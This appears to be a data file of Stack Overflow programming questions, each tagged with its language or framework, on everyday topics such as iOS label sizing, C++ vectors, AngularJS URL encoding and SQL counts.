resize uilabel according to text  i want to resize my <code>uilabel</code> according to the uilabel text. the code i have does not make the  uilabel according to its width..    my current code:   <pre><code>uilabel *textlabel2 = [[uilabel alloc] initwithframe:cgrectmake(20  158  self.view.bounds.size.width-40  550)]; textlabel2.text = textstring; textlabel2.font = [uifont fontwithname:@ helvetica neue  size:17]; textlabel2.numberoflines = 0; [textlabel2 sizetofit]; [self.scroller addsubview:textlabel2]; </code></pre>   how can i do this,objective-c
searching a vector for a string  i m trying to find a way to search a vector for a string inputed by the user. no idea how to start. once i find the string i have to remove its index  and print the rest of the strings in the index.    <pre><code>void addnames(vector&lt;string&gt;&amp; names) {  names.push_back( seppi );  names.push_back( farrell );  names.push_back( burton ); }  void print(vector&lt;string&gt; names) {  for (int i = 0; i &lt; names.size(); i++)      {       cout &lt;&lt; names[i] &lt;&lt; endl;      } }  int findname(vector&lt;string&gt; names  string nametoerase) {     int return_value = -1;     names.find()      return return_value; }  int main() {  vector&lt;string&gt; names;   addnames(names);   string nametoerase;  cin &gt;&gt; nametoerase;   int indexfound = findname(names  nametoerase); </code></pre>   },c++
angular $resource date string gets decoded  i m using angular to perform a rest call to limit by date like so:    <code>endpoint.com/myaction date=04/29/15</code>    but it gets decoded to this: <code>endpoint.com/myaction date=04%2f29%2f15</code>    i m instantiating the angular $resource like so:   <pre><code>app.factory( sessionresource   function () {     return $resource( endpoint.com   {date:  @date } }); sessionresource.get({date:  04/29/15 }; </code></pre>   there a way to pass in my date query parameters as a string so that it doesn t get encoded/decoded,angularjs
mysql - in one query how to get the count of records by daywise  monthwise  yearwise and total records all time  i have a table where users enters data in every day basis    i need the query (in one query)  to the get the total number of records entered per day  per month  per year and all total group by user    any suggestions     <h2>example output</h2>  <pre><code>username   count(today)   count(month)  count(year) count(*) user1          10           100          1000       2300 user2           5           70            730        1240 </code></pre>,mysql
what s the relationship of deviceorientation and exiforientation   in <a href= https://developer.apple.com/documentation/imageio/cgimagepropertyorientation  rel= nofollow noreferrer >cgimagepropertyorientation</a>     <blockquote>    when the user captures a photo while holding the device in portrait orientation  ios writes an orientation value of <code>cgimagepropertyorientation.right</code> in the resulting image file.  </blockquote>   in the <a href= https://developer.apple.com/documentation/vision/tracking_the_user_s_face_in_real_time  rel= nofollow noreferrer >sample code</a> from object tracking in vision (wwdc 2018)  using <code>front camera</code>   <pre><code>func exiforientationfordeviceorientation(_ deviceorientation: uideviceorientation = uidevice.current.orientation) -&gt; cgimagepropertyorientation {     switch deviceorientation {        case .portraitupsidedown:            return .rightmirrored        case .landscapeleft:            return .downmirrored        case .landscaperight:            return .upmirrored        default:            return .leftmirrored     } } </code></pre>   what s the relationship between device orientation and exif orientation according to the position of the camera,ios
fprintf to print the contents into the file for integers and characters  a buffer with 310 bytes has to be emptied and write the contents of the buffer into a ascii file when the buffer is full and when i execute the program with the following lines of code  the contents of the file are correctly written with 10 lines and in each line containing 31 bytes. buffused value is 10 and buffsize is 10 and actsize variable has 30 in it.   <pre><code>            if(buffused == buffsize)             {                retopen = createasciifile();               x = 1;               for(i =0 ;i&lt;(buffused*(actsize+1));i++)               {                     if(i==(x*31))                     {                       fprintf(fptr  \n );                       x++;                     }                                    fprintf(fptr  %c  buffer[i]);                  }               } </code></pre>   but the buffer contains characters and integers so when i try to do in the following way the contents written into the file are empty and contains only one line and not 10 lines.   <pre><code>if(buffused == buffsize)             {                retopen = createasciifile();               x = 1;               for(i =0 ;i&lt;(buffused*(actsize+1));i++)               {                  for(i =i ;i&lt;(buffused*(actsize+1));i++)                 {                   if(i==x*(actsize+1))                   {                     fprintf(fptr  \n );                     x++;                   }                    for(j=i+((buffused-1)*(actsize+1)); j&lt;19+((buffused-1)*(actsize+1));j++)                   {                     fprintf(fptr  %c  buffer[j]);                   }                    for(k=j;k&lt;23+((buffused-1)*(actsize+1));k++)                   {                     fprintf(fptr  %d  buffer[k]);                   }                    for(l=k;l&lt;(actsize+1)+((buffused-1)*(actsize+1));l++)                   {                     fprintf(fptr  %d  buffer[l]);                   }                    i=l-1;                 }                    }               retopen = closefile();               filerename();             }           } </code></pre>   how can i write into the file with characters and integers. would be great if someone helps. thanks in advance,c
how to adjust website according to screen resolution  i have the following css for a particular section of my website:   <pre><code>.menu{     top:7%;     height: 100%;     left:10%;     bottom:10%;     width: 18%;     height: 47%;     z-index:1;     position:absolute; }     .menu .star{     background: url( button.png ) 0% 0%/ 80% 80% no-repeat;     border: none;     width:5em;     height:5em;     padding-left:3%;     margin-left: 30%;            transition-duration:0.3s;        -moz-transition: 0.3s;     -ms-transition: background 0.3s;     -webkit-transition: background 0.3s;     -ms-transform: rotate(7deg);      -webkit-transform: rotate(7deg);      transform: rotate(7deg); }  #buttonlist{ /*this is the name of the ul containing namelist contained in .menu     margin-top: -90%;     margin-left: -20% } .namelist{     text-transform: uppercase;     position:relative;     margin-left:15%;     margin-bottom:16%;     font-size: 110%;     font-weight:bold;     font-family: helvetica;     color:#66e0ff;     background-color: transparent;     border:none;     outline:none; } </code></pre>   from what i searched  most solutions are  use percentages   but my css is in percentages so i don t know what the problem is.<br> there is misalignment when i test the site in different browsers. the background of the website is being cropped too. for the background  i didn t use cover nor background-size: 100% 100% because i do not want the background to adjust when the user changes the window size. <br> so to sum up my question: how can i adjust the alignment according to screen resolution  and how can i adjust background size to the maximum window size and have it not adjust when user re-size the window,css
text field in label in asp.net  in header tab the asterisk symbol will be visible if they make any changes in that tab. now i want to make the asterisk size large.    i am trying to make text of label to large.could anyone help me out with this.   <pre><code> &lt;headertemplate&gt;    &lt;asp:label id= communicationstabheader  runat= server  text= communications &gt;&lt;/asp:label&gt;    &lt;asp:label id= communicationnotification  visible= false  runat= server  font-bold= true      style= color: red;  **text= * &gt;**&lt;/asp:label&gt;  &lt;/headertemplate&gt; </code></pre>,asp.net
angular does not encode the semi-colon character in an url  we need an encoded semi-colon character in our url parameter but angular does not encode this character.    the resource we use looks something like this:   <pre><code>app.factory( testresource   [ $resource   function ($resource) {     return $resource( http://somedomain.com ); }]);  app.run([ testresource   function (testresource) {     testresource.query({         q:  sin;sout      }); }]); </code></pre>   this is the result we get:   <pre><code>http://somedomain.com/ q=sin;sout </code></pre>   we want the url to be:   <pre><code>http://somedomain.com/ q=sin%3bsout </code></pre>   but if we pre-encode the parameter before sending the % char get s encoded like this:   <pre><code>http://somedomain.com/ q=sin%253bsout </code></pre>   how can we get the desired result  (<a href= http://somedomain.com/ q=sin%3bsout  rel= nofollow >http://somedomain.com/ q=sin%3bsout</a>),angularjs
how to achieve c++ phone number format : (000)-000-000  <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;sstream&gt; using namespace std;  std::wstring inputfield;  void function(uint32_t val) {     std::wstring keystring;     keystring = std::to_wstring(val);         inputfield = inputfield + keystring;      std::wstringstream s;     s &lt;&lt; l (  &lt;&lt; inputfield &lt;&lt; l )  ;     std::wstring str = s.str();     std::wcout &lt;&lt; str &lt;&lt;  \n ;     return; }  int main() {     uint32_t x ;     while(cin&gt;&gt;x)     {         function(x);         cout&lt;&lt; *(&amp;x)&lt;&lt; endl;     }     return 0; } </code></pre>   i am trying string format to get output like (000)-000-000 or usa phonenumber format  but i am not able to achieve that  please help  thanks,c++
security risks of using eval() to execute user input in javascript  i m planning on throwing together a quick web page for my students to teach them about javascript programming. on this page  i d like to give them a text box and allow them to run javascript so that they can see the dynamic nature of the language at work. however  i m well aware that using eval() on user input is usually a really bad idea. what kind of security risks am i taking on by publishing a page like this  what steps should i take to mitigate these risks,javascript
php strict standards: only variables should be passed by reference  i got thie warnig: php strict standards:  only variables should be passed by reference    and the code:   <pre><code>if ((isset($_server[ http_if_modified_since ]) &amp;&amp; array_shift(explode( ;   $_server[ http_if_modified_since ])) == $gmt_mtime) </code></pre>   the second line code is the error one.,php
use variable of a class in view controller file in ios  i have a model  and i am not being able to use it in view controller. keep getting the legendary sigabrt error.     my model:    <a href= https://i.stack.imgur.com/p4fwy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p4fwy.png  alt= my model ></a>    my view controller     <a href= https://i.stack.imgur.com/6b46h.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6b46h.png  alt= my view controller ></a>,ios
multi frames having images in ios  i want to create an ios application having multi frame something similar to this .http://multiframe.tumblr.com/page/6  does somebody has any pointers,ios
what s the error in this program code   i tried using the ascii code too by replacing <code>%d</code> with <code>%c</code> in `scanf() code. but then it displays - add=5 (if i put the input 5 &amp; 6 with 65 ascii code)   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt;  void main() {     int num1 num2 res;     char ch;     printf( enter two numbers );     scanf( %d%d  &amp;num1 &amp;num2);     printf( enter the operator from the following\n\na for +\nb for -\nc for*\nd for /\n );     scanf( %c  &amp;ch);      if(ch== a )     {         res=num1+num2;         printf( add=%d  res);     }     else if(ch== b )     {         res=num1-num2;         printf( sub=%d  res);     }     else if(ch== c )     {         res=num1*num2;         printf( mul=%d  res);     }     else if(ch== d )     {         res=num1/num2;         printf( div=%d  res);     }     else     {         printf( invalid operator );     }     getch(); } </code></pre>   the output:    <img src= https://i.imgur.com/w0u7hdw.png 1  alt= here&#39;s the output >    any help,c
check if all tags are closed  i have a large dynamic website that is being constructed by php. i suspect that one of my components are not closing the html tags properly. i have the source output html. i am wondering if there is a script  or website  that will tell me if all my tags are closed and such,html
how to ask for string and then use it as a part of an array   hello guys i have an complex problem i have  arrays which holds informations about championship league  informations like   <pre><code>var teamstats=[ bayern munich: {wins:4 loses:1 goals:9 draws:2}                fc barcelona: {wins:4 loses:1 goals:9 draws:2}                 ..... ] </code></pre>   i can reach every team stats with writing on console like  <code>teamstats.bayern munich</code> my problem is: i have to ask team name from the user  and then print the stats of the team. edit: getting string part is ok. and i have tried   <pre><code>var str = { teamfromuser } var x=eval(str) </code></pre>,javascript
how to set the checked status of an asp.net user control checkbox from one to another  i am having a asp.net web page on which i am loading a single usercontrol (uc) ten times. the first user control will be used to gather data about the ​main employee and the rest about his dependent. there will be  next  and  previous  navigation button to move from one uc to another. i have couple of devexpress check boxes on the uc. if the user checks any of them on the first page and then clicks the  next  button to navigate to the next uc  i want the checkboxes in the dependent uc also checked. i tried to do that in the page load event of the dependent controls in code behind. the code is given below. but it doesn t work. looks like that i have to use javascript to do it. please let me know how to do it.    codebehind:   <pre><code>dependentcheckbox.checked = mainemployeecheckbox.checked; </code></pre>   thanks​,asp.net
what s the best way to inspect an attribute before setting it   i have a need to inspect attributes before they are set<sup>†</sup>. a naive implementation would be something like:   <pre><code>class c(object):     x = 5      def __setattr__(self  name  value):         if hasattr(self  name):             x = getattr(self  name)              if x == 5:                 print  do something          object.__setattr__(self  name   value) </code></pre>   however  this would trigger the class  <code>__getattribute__</code> method  which <em>must</em> be avoid here. from what i can tell  searching in the class  <code>__dict__</code> directly might do the trick; but as this is a class that s meant to be subclassed by the user  i imagine that <code>__slots__</code> and the mro could add complications down the road.    given these considerations  what s the best way to inspect an attribute before setting it    <hr>   <sup>†</sup> <sub>in the interest of full disclosure  this class is actually going to be written as a <code>c</code> extension; however  i don t imagine the strategy deviating too much from the python implementation for that to matter.</sub>,python
web view is loading after the transition animation  i am using a web view and alsousing the drag event to load next or previous page  on drag right or left event simultaneously but the web loads the next page after fininshing the curl up animation.  i want to load page data during the animation     it takes one second to load the new page after animation finishes. i have checked the loading timing and sequence  web view is loading page and finish loading before starting animation but curlup animation is actually locking the page.    can any one please help me.,iphone
which (java) code  library  or algorithm is best at providing similarities between bit patterns   i am after code  a library routine  or an algorithm that scores how close two different bit or boolean patterns are. naturally if they are equal then the score should be 1  while if one is all true and the other all false then the score should 0.    <strong>bit pattern example</strong>    the bit patterns that i will be testing are many times never actually equal or the same but sometimes they are very similar.   <pre><code>0001 1111 0000 0000 1111 1100 0000 1110 0000 1110 0000 1111 </code></pre>   in the above examples 1 &amp; 2 or 1 &amp; 3 are pretty close if i was to score them perhaps the difference would be something like 96 and 95%. on the other hand 1&amp;4 would definitely be a much lower score maybe 25%.     note that bit patterns may be of different lengths but scoring should still be possible.   <pre><code>001100 000011110000 </code></pre>   the above two patterns would be considered identical.   <pre><code>001100 00110000 </code></pre>   the above two patterns would be considered close but not identical  because once  scaled  #2 is different from #1.,java
error c2678: binary  >>  : no operator found which takes a left-hand operand of type  std::basic_istream<_elem _traits>   i get this strange error. i think i have included all necessary files. what could cause this  the error is caused by this line :   <pre><code>cin &gt;&gt; x &gt;&gt;  \n  &gt;&gt; y &gt;&gt;  \n ; </code></pre>   here is the code:   <pre><code>#ifndef aritmetice_h #define aritmetice_h  #include &lt;iostream&gt; #include &lt;string&gt;  #include  ui\comanda.h   using namespace calculator::calcule;  namespace calculator{ namespace ui{      template&lt;int operatie(int  int)&gt;     class cmdaritmetice : public comandacalcule     {      public:         cmdaritmetice(const string &amp;nume) : comandacalcule(nume)         {         }          void execute()         {             cout &lt;&lt; nume() &lt;&lt;  \n ;             cout &lt;&lt;  introduceti doua numere intregi (x  y)\n ;             int x  y;             cin &gt;&gt; x &gt;&gt;  \n  &gt;&gt; y &gt;&gt;  \n ;   // here a get the error             cout &lt;&lt; x &lt;&lt;     &lt;&lt; nume() &lt;&lt;     &lt;&lt; y &lt;&lt;   =   &lt;&lt; operatie (x y) &lt;&lt; \n ;         }     }; } } #endif </code></pre>,c++
html: table and scripts  i want to write script like this once click on a button it has to add a new row to the existing table   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;      &lt;script&gt;         function myfunction() {              &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;         }     &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;      &lt;table border= 1  id= mytable &gt;          &lt;tr&gt; &lt;td&gt;row 1  cell 1&lt;/td&gt; &lt;td&gt;row 1  cell 2&lt;/td&gt; &lt;/tr&gt;          &lt;tr&gt; &lt;td&gt;row 2  cell 1&lt;/td&gt; &lt;td&gt;row 2  cell 2&lt;/td&gt; &lt;/tr&gt;      &lt;/table&gt;      &lt;button onclick= myfunction() &gt;try it&lt;/button&gt;  &lt;/body &lt;/html&gt; </code></pre>   plesae help how i can do it,html
detect if certain characters are typed within a certain amount of time  i am trying to determine if a user had typed a particular set of characters within a particular duration of time.     i made something that works  i suppose  but i know it isn t very good because it uses the global variable tomatch. i declared it with setinterval without the <code>var</code> keyword. though the idea of scope is confusing for me i am trying to learn and i wonder if someone could offer a better way to do this    <pre><code>//set the tomatch array equal to the character codes for the word  test  //reset it to its original value every 2seconds var matchtime = setinterval(function(){ console.log( tomatch reset ); tomatch = [84 69  83  84];}  2000);   document.addeventlistener( keydown   function(e){     var key = e.which;    findmatches(key);  });  function findmatches(key){      //if the key is in the first position in the array  remove it     if (key == tomatch[0]){       tomatch.shift();      }       console.log(tomatch);    //if all shifted out  clear the interval   if (tomatch.length == 0 ) {     window.clearinterval(matchtime);     alert( typed \ test\  within two seconds );   }  } </code></pre>   <a href= http://jsbin.com/ujijat/3/edit  rel= nofollow >jsbin</a>    thank you,javascript
why do i receive the error  this method must return a result of type ...    can anyone see why i would receive the error  this method must return a result of type card   when i clearly returns that variable  card  which is of type card    <pre><code>public card playcard(int id){     int i = 0;     for (card element : hand){         if (i &lt;= hand.size())         {                        if (element.getid() == id)             {                 card card = hand.get(i);                 hand.remove(i);                 return card;             }             else             {                 i++;             }          }         else         {             throw new nullpointerexception( card does not exist in     hand );         }     } } </code></pre>,java
code doesn t continue after while-loop  well     everything works well here  except of the last <code>printf</code> i call. i want to output the deleted characters in this code:   <pre><code>#include &lt;stdio.h&gt;  int del_lower_vowels(char c) {     if(c== a ) {         return 0;     }     if(c== e ) {         return 0;     }     if(c== i ) {         return 0;     }     if(c== o ) {         return 0;     }     if(c== u ) {         return 0;     }     else         return c; }  int main (void) {     printf( enter a string\n );     int c;     int del = 0;     while((c=getchar()) != eof)     {         c = del_lower_vowels(c);         if(c==0)         {             del +=1;         }         putchar(c);     }     printf( deleted characters: %d  del);     return 0; } </code></pre>,c
does jquery.on() work for elements that are added after the event handler is created   i was under the impression all this time that <code>.on()</code> worked like <code>.live()</code> with regards to dynamically created elements (e.g. i use <code>$( .foo ).on( click   function(){alert( click )});</code> and then an element with the class <code>foo</code> is created due to some ajax  now i m expecting a click on that element to cause an alert). in practice  these weren t the results i got. i could be making a mistake  but could somebody help me understand the <em>new</em> way to achieve these results  in the wake of <code>.on()</code>     thanks in advance.,jquery
attributeerror: module  attr  has no attribute  s  <pre><code>&gt;&gt;&gt; import attr &gt;&gt;&gt; @attr.s ... class smartclass(object): ...     a=attr.ib() ...     b=attr.ib() ...  traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; attributeerror: module  attr  has no attribute  s  &gt;&gt;&gt;  </code></pre>   i don t understand why it s not working. i have installed this module using pip and it was installed properly  but still it shows an error in the implementation part.,python
how to put jquery noconflict   i am new to jquery  i am having this problem to add $jq into the script    <pre><code>&lt;script type= text/javascript  src= js/jquery-1.7.2.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; var $jq = $.noconflict(true); &lt;/script&gt;  &lt;script type= text/javascript  src= js/jquery-1.4.2.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt;      $(window).load(function(){         $( #slider ).slideshow();     });      &lt;/script&gt; </code></pre>   how to add the $jq inside the script,jquery
best way to redraw a custom view when orientation changes  i have a custom view:   <pre><code>-(id)initwithframe:(cgrect)frame {     cgrect framerect = cgrectmake(0  navigation_bar_height   frame.size.width  4 * row_height + navigation_bar_height + message_body_padding);     self = [super initwithframe:framerect];     if (self) {         _selectionviewwidth = &amp;frame.size.width;          [self initview];     }     return self; }  -(void)initview {     cgrect sectionsize = cgrectmake(0  0   *(_selectionviewwidth)  row_height * 4);     _selectionview = [[uiview alloc] initwithframe:sectionsize];     [_selectionview setbackgroundcolor:[uicolor clearcolor]]; </code></pre>   that i use in a view controller the next way:   <pre><code>_mailattributesview = [[mailattributesview alloc]initwithframe:self.view.frame];     _mailattributesview.delegate = self;     [self.view addsubview:_mailattributesview]; </code></pre>   so when orientation changes from p to l i have the next problem:    <img src= https://i.stack.imgur.com/tsdje.png  alt= enter image description here >    what s the best way to get orientation change callback and redraw my custom view,ios
hide the content when the mouse out  html   <pre><code>&lt;ul class= nav-tabs &gt;   &lt;li class= tab1 &gt;&lt;a href= /  class= tab-link &gt;home&lt;/a&gt;&lt;/li&gt;   &lt;li class= tab2 active &gt;&lt;a href= /  class= tab-link &gt;...&lt;/a&gt;&lt;/li&gt;   &lt;li class= tab3 &gt;&lt;a href= /  class= tab-link &gt;...&lt;/li&gt;   &lt;li class= tab4 &gt;&lt;a href= /  class= tab-link &gt;...&lt;/li&gt; &lt;/ul&gt;  &lt;div id= tab-content &gt;   &lt;div class= tab2 &gt;&lt;/div&gt;   &lt;div class= tab3 &gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   when the mouse hove on the nav-tabs li. the corresponding div content in tab-content show. when leave out the nav-tabs li. the corresponding div content show.    jquery:   <pre><code>$(  .nav-tabs li  ).hover(   function() {      $(  #tab-content div  ).css(  display    block  );   }  function() {      $(  #tab-content div  ).css(  display    none  );   } ); </code></pre>   there is something wrong with the code. when the the corresponding div in <code>tab-content</code>  part show. i can t move the mouse on its child a link.  2  when i hove on another <code>nav-tabs li</code>. the other li content also shows.  how to correct it  thank you.,jquery
how to dynamically change the height of uipopoverpresentationcontroller to follow up containing uilabel height   i have popover vc with uilabel inside. is it possible to change height of popover with multiline label height,ios
dofactory for .net 4.5  i ran across this product today  <a href= http://www.dofactory.com/net/design-patterns  rel= nofollow >http://www.dofactory.com/net/design-patterns</a> and i found a thread here about it  but it is extremely out of date. has anyone used dofactory 4.5 as a learning aid  if so  what was your experience level prior to using it and how did it help/hinder your progress as a .net developer  what was your impression of their rad tool spark      it looks very interesting and seems to provide a ton of material.    thank you for your response.,.net
python counter within a counter for each item   i want to create a counter for each item and the number of rankings (1-5) of the occurrences.      for example the structure is [ date    product    ranking ]   <pre><code>[[ 1/1/15    product 1    4 ]  [ 1/1/15    product 1    4 ]          [ 2/2/15    product 1    1 ]  [ 1/1/15    product 2    1 ]    [ 1/1/15    product 2    1 ]  [ 3/1/15    product 2    1 ]] </code></pre>   the wanted output would be    <pre><code> date: 1/1/15  product: 1  ranking: 4  seen: 2  date: 2/2/15  product: 1  ranking: 1  seen: 1   date: 1/1/15  product: 2  ranking: 1  seen: 2  date: 3/1/15  product: 2  ranking: 1  seen: 1 </code></pre>   i want to make a counter of each date with each product separate of the ranking.    <pre><code>    cc = counter((rank  week) for rank  week in date_array) </code></pre>   i have tried that but that would only make a counter for the dates  however i want to take into different products.      how would i do that  would it be nested counters   ultimately i want to write this information to a csv.,python
only assignment  call  increment  decrement  await  and new object expressions  i posted a question about this code yesterday  but i did it... really badly. i ve since talked with a friend of mine who knows coding very well and tried a few things  but i ve genuinely hit a wall with this. i tried looking at other questions of the same accord  but none of their solutions worked for me...    what i am trying to do is overwrite  effectiveness . the server is taking the effectiveness as 4 or 5 (i am not sure which  but it s definitely one of the two-- it doesn t matter which  anyway). i want it to take it as 7 or above. i figured out how to call effectiveness data from the server  but it still doesn t seem to be working. 4/5 effectiveness gives me the text  it s not very effective...   which keeps happening when i try to use the code.    this is my code (there is a lot more to it  but i have removed what is irrelevant):   <pre><code>public partial class main {     public static int effectiveness;     public static void beforemovehits(battlesetup setup) {         try {             if (setup.defender != null) {                 switch (setup.move.additionaleffectdata3) {                     case 69: { //freeze dry                             if (setup.defender.type1 == enums.pokemontype.water ||                                 setup.defender.type2 == enums.pokemontype.water) {                                   damagecalculator.effectiveness[256];                             }                         }                         break;                      }                  }          }     } } </code></pre>   as stated in the tile  when i try to compile it  i get the error    <blockquote>    only assignment  call  increment  decrement  await  and new object expressions can be used as a statement.  </blockquote>   the    <pre><code>public static int effectiveness </code></pre>   is left over from when i tried using  effectiveness = 8  as opposed to damagecalculator.effectiveness. removing it affects nothing  so i ve left it there in case i need it later.    in damagecalculator.cs  this is what sets effectiveness:   <pre><code>public static int[] effectiveness = new int[9] {2  8  16  64  96  160  256  416  640}; </code></pre>   you can view the full code <a href= https://github.com/pmdcp/server/blob/6ccc1935670a0f86eea8e6504d9fec67b241f710/server/combat/damagecalculator.cs  rel= nofollow >here</a> if you find it helpful.    there s also a tidbit of info about effectiveness in battleprocessor.cs  though i doubt its relevancy as i continue to work on this...   <pre><code>    public static string effectivenesstophrase(int effectiveness) {         if (effectiveness &lt; 4) {             return  it has little effect... ;         } else if (effectiveness &lt; 6) {             return  it s not very effective... ;         } else if (effectiveness == 7) {             return  it s super-effective! ;          } else if (effectiveness &gt; 7) {             return  it s super-effective!!! ;         } else {             return null;         }     } </code></pre>   <a href= https://github.com/pmdcp/server/blob/6ccc1935670a0f86eea8e6504d9fec67b241f710/server/combat/battleprocessor.cs  rel= nofollow >this</a> is the full code of battleprocessor.cs  if you need it.    it s worth noting that i can<em>not</em> change beforemovehits from void  and i can<em>not</em> change main to anything besides partial. doing so will break other parts of the game this is for. that being said  if changing effectiveness isn t possible because of these circumstances  just tell me. i ll... try to figure out something else to do what i want.,c#
uiwebview crashes on scrolling past bottom  i have a uiwebview which displays a pdf file.    upon scrolling to the very bottom  the app crashes  right at the time it would  bounce .    i ve tried setting <code>thewebview.scrollview.bounces=no</code> in the viewdidload of my webview s viewcontroller  and in the controller that present this viewcontroller.     any body else faced similar issues or suggest solutions,objective-c
converting data (from a model) in int  i ve this model:   <blockquote> <pre><code>@interface data : nsobject @property (nonatomic  assign) nsdate *start; @property (nonatomic  assign) nsdate *end; @property (nonatomic  assign) int days; @property (nonatomic  assign) double moneyeuro; @property (nonatomic  assign) double moneyusa; @end </code></pre> </blockquote>   a mutable array:   <pre><code>@property (strong  nonatomic) nsmutablearray* myarray; </code></pre>   add data into array:   <pre><code>data *data =[ [data alloc] init]; data.start = starttemp; data.end = endtemp; data.days = daystemp; data.moneyeuro = moneyeurotemp; data.moneyusa = moneyusatemp; [self.myarray addobject:data]; </code></pre>   then i want to extract only the int days and sum them:   <pre><code>  data * daysarr = [self.myarray valueforkeypath:@ @sum.days ];   nslog(@ days %@   daysarr); </code></pre>   but daysarr is a nsstring     nslogs works properly ...    how to change daysarr into int (as should be cause days are int)      i ve tried with:   <pre><code>days = [daysarr intvalue]; </code></pre>   but i receive the error: no visible interface for data declares the selector intvalue,objective-c
what s quicker  an array lookup (including array build) or an if stack   i was wondering which was better:   <pre><code>$lookup = array(  a  =&gt; 1   b  =&gt; 2   c  =&gt; 3 ); return $lookup[$key]; </code></pre>   or   <pre><code>if ( $key ==  a  ) return 1 else if ( $key ==  b  ) return 2 else if ( $key ==  c  ) return 3 </code></pre>   or maybe just a nice switch...   <pre><code>switch($key){ case  a : return 1; case  b : return 2; case  c : return 3; } </code></pre>   i always prefer the first method as i can separate the data from the code; at this scale it looks quite silly but on a larger scale with thousands of lines of lookup entries; how much longer is php going to take building an array and then only checking maybe 1 or 2 entries per request.    i think it d have to be tested and clocked  but i d say the bigger and more complicated the array the slower it s going to become.    php should be able to handle lookups faster than i can in php-code  but building the array in the first place surely takes up a lot of time.,php
javascript supposed to show text if time from to is specific value  my javascript code is supposed to show a specific text if the time is inside a specific time space.   <pre><code>&lt;script language= javascript &gt;  var mydate = new date();   if ( mydate.gethours() &gt; 0 || mydate.gethours() &lt; 23 || mydate.getminutes() &gt; 00 || mydate.getminutes() &lt; 00 || mydate.getday() == 4  ) )   {      document.write( ss ); }  else  /* klokken er ikke imellem 0 og 24 så der er en fejl! */ {      document.write( jeg er ikke sikker på hvad klokken er! );  }   &lt;/script&gt; </code></pre>,javascript
input text custom validation in angularjs  there is the following code:   <pre><code>&lt;input class= form-control  id= secret_key  type= text  name= secret_key  ng-model= hotel.secret_key  ng-required= true  ng-minlength= 8  placeholder= secret key  /&gt; </code></pre>   i can validation length of this field  it works. but now i have to validate if this length contains at least one digit  one small letter and one capital letter. how can i do it using angularjs  thanks in advance.,angularjs
load modules dynamically  i am trying to load modules dynamically  and getting error:   <blockquote>    argument of type  injector  is not assignable to parameter of type  resolvedreflectiveprovider[] .     property  length  is missing in type  injector .   <strong>console.log</strong>   typeerror: cannot read property  parentinjector  of undefined  </blockquote>  <pre><code>@component({   selector:  dynamic-component     entrycomponents: [balancecomponent  tireinventorycomponent ]    templateurl:  ./dynamic.component.html  }) export class dynamiccomponent implements oninit {   currentcomponent = null   constructor(private resolver: componentfactoryresolver) {   }   @viewchild( dynamiccomponentcontainer   {read: viewcontainerref})   dnamiccomponentcontainer: viewcontainerref;   @input() set componentdata(data: { component: any}) {     if (!data) {       return;     }     let injector = reflectiveinjector.fromresolvedproviders(this.dynamiccomponentcontainer.parentinjector);     let factory = this.resolver.resolvecomponentfactory(data.component);     let component = factory.create(injector);     this.dynamiccomponentcontainer.insert(component.hostview);     if (this.currentcomponent) {       this.currentcomponent.destroy();     }     this.currentcomponent = component;   }   ngoninit() {   } } </code></pre>,angularjs
auto-redirect to another html page  what is the syntax for making a page auto-redirect to a different html file in a separate folder  all of my searching returns how to redirect from one website to another.,html
php move uploaded file always error  i post a file by html and i want to move it but it always return value false. here s my code :   <pre><code>$filename = $_files[ atc ][ name ]; $filetmp = $_files[ atc ][ tmp_name ];  $newdir =  /home/goes/attachments/  . $filename;  $a = move_uploaded_file($filetmp  $newdir);  if ($a==true){  echo  true ; }  else{  echo  false ; } </code></pre>,php
nested case statement for multiple condition  i have a data set like bellow image. i need in the data set<br> grade red is present then in <code>opensegment=yes</code> if not but grade amber is present then in <code>opensegment=yes</code> if not but grade blue is present then in <code>opensegment=yes</code>     for that i write       <pre><code> coalesce(                   case when airag.fk_masterragratingid=1 then  yes  else    end                    case when airag.fk_masterragratingid=2 then  yes  else    end                   case when airag.fk_masterragratingid=4 then  yes  else    end                 )  </code></pre>   but not working.    <a href= https://i.stack.imgur.com/f7mv8.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/f7mv8.png  alt= enter image description here ></a>    <strong>result after putting  <code>else null</code></strong>    <a href= https://i.stack.imgur.com/lft6u.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lft6u.png  alt= enter image description here ></a>,sql
can someone explain the flow of control of this program   this is an example program in my ap computer science course  and i can t understand the flow of control of it.   <pre><code>public static void mystery( int n ) {    system.out.println(  mystery called with n =   + n );     if ( n == 0 )    {       system.out.println(  n is zero so no more recursive calls!  );       return;    }     mystery( n - 1 );     system.out.println(  we did it again with n =   + n ); }  public static void main( string[] args )  {    mystery( 5 ); } </code></pre>   it outputs this:   <pre><code>mystery called with n = 5 mystery called with n = 4 mystery called with n = 3 mystery called with n = 2 mystery called with n = 1 mystery called with n = 0 n is zero so no more recursive calls! we did it again with n = 1 we did it again with n = 2 we did it again with n = 3 we did it again with n = 4 we did it again with n = 5 </code></pre>   so far  i understand the recursive method and how it recalls itself via:   <pre><code>mystery( n - 1 ); </code></pre>   however  i don t see how it can output those five statements after:   <pre><code>n is zero so no more recursive calls! </code></pre>   logically  it seems like it would only state:   <pre><code>we did it again with n = 0 </code></pre>   can anyone help a student out and explain to me how it output what it did,java
how can i read a text file word by word (seperate spaces and new lines)  i am doing c++. if i have string like  word by word\n this is test   it is possible to have whitespace  word  and new line character each time ifstream get values from a text file.  like   <pre><code>string msg =  word by word\n this is test ; string eachword; while( // something here ) {     // do some code here to get word by word     // but it should get white space and new line when it hits them } </code></pre>   so while the string  eachword  goes through the while loop  it will have like the following    1st eachword :  word   2nd eachword :  \0    3rd eachword :  by  . . . . . .    note: you don t know what string you will have because i will get string from a random text file    i can do it with ifstream.get() and a bunch of conditional statements but i am just wondering if there is better way.,c++
